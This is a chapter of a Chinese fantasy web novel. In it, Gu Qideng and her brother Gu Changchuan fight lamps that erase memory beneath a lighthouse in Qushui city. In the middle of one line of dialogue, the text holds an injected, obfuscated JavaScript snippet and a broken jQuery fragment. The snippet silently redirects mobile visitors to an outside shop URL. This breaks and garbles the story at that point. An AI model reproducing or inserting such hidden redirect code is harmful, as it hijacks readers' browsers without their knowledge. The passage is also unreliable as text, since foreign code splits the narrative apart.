顾栖灯盯着手里的铜灯。
灯盏旧得发暗，边缘有一道缺口。她知道这东西对自己很重要，可一时想不起是谁给的，也想不起为什么会一直带着。
脚踝处很冷。
有东西缠着她。
她低头，看见一根白线从水里伸出来，绕过鞋面，没进皮肉。白线的另一端连着水池中央的小塔。
“栖灯。”
有人叫她。
声音很近。
她抬头，看见一个穿黑衣的男人站在自己面前。他握着刀，脸上有一点擦伤，眼神却很急。
顾栖灯下意识往后退。
男人的手停在半空，没有再靠近。
“你是谁？”
这句话一出口，水窖里安静得只剩白线在水面摩擦的声音。
阿兰捂住了嘴。
顾长川看着她，脸色一点点白下来。
他没有立刻回答。
顾栖灯看见他握刀的手很紧，指节泛白，却还是慢慢把刀放到地上。
“我叫顾长川。”他说。
“顾长川……”
这个名字在她嘴里转了一圈，没有落处。
他像是早有准备，又补了一句：“你叫顾栖灯。”
顾栖灯低头看自己的手。
掌心有一道新旧交叠的伤，像被什么划过很多次。她不明白自己为什么会受伤，也不明白眼前这些人为什么用那样的眼神看她。
“我知道。”她说，“我刚才听见有人这样叫。”
顾长川喉结动了动。
“那就好。”
“这里是什么地方？”
“曲水城的灯塔底下。”
“我们为什么在这里？”
顾长川沉默了一瞬。
“来救人。”
顾栖灯看向阿兰。
阿兰的脸上全是泪，手背上反复写着一个名字。她忽然知道，自己应该认识这个人，也应该知道那个名字的意义。
可脑子里像蒙了一层潮湿的纸。
什么都隔着。
水池上的小塔又亮了一盏。
白光落到顾栖灯肩上。
她忽然觉得很困。
不是想睡，只是不想再问了。这里的人、这盏灯、脚上的线，都好像与她无关。只要闭上眼，一切都会变得很轻松。
“别看灯。”
顾长川的声音很低。
顾栖灯抬眼。
他没有碰她，只蹲下来，把自己的手背摊在她面前。
上面用炭笔写着几行字，字很丑，像在井边匆匆写下的。
顾栖灯。
临江。
铜灯。
阿砚在等。
不能信白灯。
她看了很久。
“这是你写的？”
“嗯。”
“你字不好看。”
顾长川怔了怔。
顾栖灯自己也怔住。
这句话说出来时很自然，像她以前常这样嫌他。紧接着，一点很小的记忆从脑子里冒出来——药庐里，他看不懂顾长舟的药方；她笑他连当归都认错。
她扶住额头。
“二哥。”
顾长川立刻抬头。
“什么？”
“有个……背药箱的人。”
“顾长舟。”
“对。”
顾栖灯闭了闭眼。
那些记忆仍旧散乱，像被水冲开的纸片。她记得顾长舟的药箱，记得沈见微吃了掺辣椒的糕，记得顾承宴写过一张寻人图，也记得眼前这个人曾在地宫里说过一句话。
路不是只有一条。
“你是三哥。”她说。
顾长川没有出声。
顾栖灯看见他眼里那点紧绷，慢慢松开了。
“嗯。”
白线忽然收紧。
顾栖灯脚下一软，膝盖撞在石地上。顾长川终于伸手扶住她，掌心隔着衣袖扣在她手臂上，力道很克制。
“先出去。”
顾栖灯摇头。
“阿兰还在这里。”
“你再被照一次，会忘得更多。”
“那就写。”
她抬起头，看向墙边散落的炭笔。
顾长川没听懂。
顾栖灯撑着地面站起来，走到石壁前。白线拖着她的脚踝，每走一步都像踩在冰里。她捡起炭笔，先在石壁上写下自己的名字。
顾栖灯。
写完，她停了一会儿，又往下写。
我来曲水找沈兰烛留下的东西。
阿砚在地窖等阿兰。
顾长川是三哥，不是坏人。
白灯会让人忘。
最后一行写得很用力，炭笔折断了。
顾长川站在她身后，没有出声。
顾栖灯把半截炭笔递给他。
“你也写。”
“写什么？”
“你觉得重要的。”
顾长川接过炭笔。
他站在墙前很久，才落下几笔。
顾栖灯不能一个人下水。
她若忘了，先带她走。
顾栖灯侧过脸看他。
“第二句划掉。”
顾长川没动。
“我会下水。”她说，“阿兰在这里，还有井里那些人。”
“栖灯。”
“你可以写‘别离开我太远’。
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17968859|214618||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
”
顾长川沉默了一会儿。
他把第二句划掉，重新写了一行。
我不离开她太远。
这一次，顾栖灯没有再说什么。
水池边的阿兰已经把炭笔捡起来，开始在石砖上写字。其余六个人也陆续醒了些，有人盯着自己的手发愣，有人低声念出家人的名字。
白线并没有断。
但它们开始乱了。
原本整齐伸向小塔的线，被墙上一行行炭字、被这些人重新抓住的名字牵得微微发颤。
顾长川走到水池边，试着用短刀拨开一根缠在阿兰指尖的线。
线没有割破皮肉。
反而像一根被泡软的丝，慢慢滑开了。
阿兰喘了口气，抬头看向顾栖灯。
“无字碑后面有东西。”
“我知道。”
“不是信。”阿兰说，“是一盏灯。”
顾栖灯走过去。
“什么灯？”
“记灯。”阿兰的声音很轻，“沈兰烛留下的那盏。她说，记灯不该让人记住痛，是让人记住自己曾经怎么熬过去。”
水池中央的小塔忽然发出一声闷响。
所有白线同时抬起。
水面翻出一个漩涡。
阿兰脸色变了：“它要换水了。”
“换水会怎么样？”
“外头的人会再忘一次。”阿兰望向顾栖灯，“这一次，他们可能连自己的名字都留不住。”
顾栖灯看向池底。
无字碑在黑水中立着，碑后那只木匣只露出一角。
她知道现在下水很危险。
也知道错过这一次，曲水城外头那些还在刻字、还在藏纸条的人，很可能明早便不记得自己为什么要反抗。
“长川。”她说。
“我在。”
“绳子。”
顾长川没有劝她。
他拿出绳子，一端系在自己腰上，另一端递给顾栖灯。
“水下别看白光。”
“嗯。”
“摸到东西就拉两下。”
“好。”
“若线缠住你——”
顾栖灯看了他一眼。
顾长川停住。
“我会拉你。”他说。
顾栖灯点头。
她将铜灯贴在胸口，深吸了一口气，踩进黑水里。
水没过膝盖时，池底无字碑上的黑影缓缓抬起头。
那不是碑后藏着的人。
是一张和顾栖灯极为相似的脸。
她隔着水，朝顾栖灯笑了一下。
“阿灯。”她说。
“你总算来了。”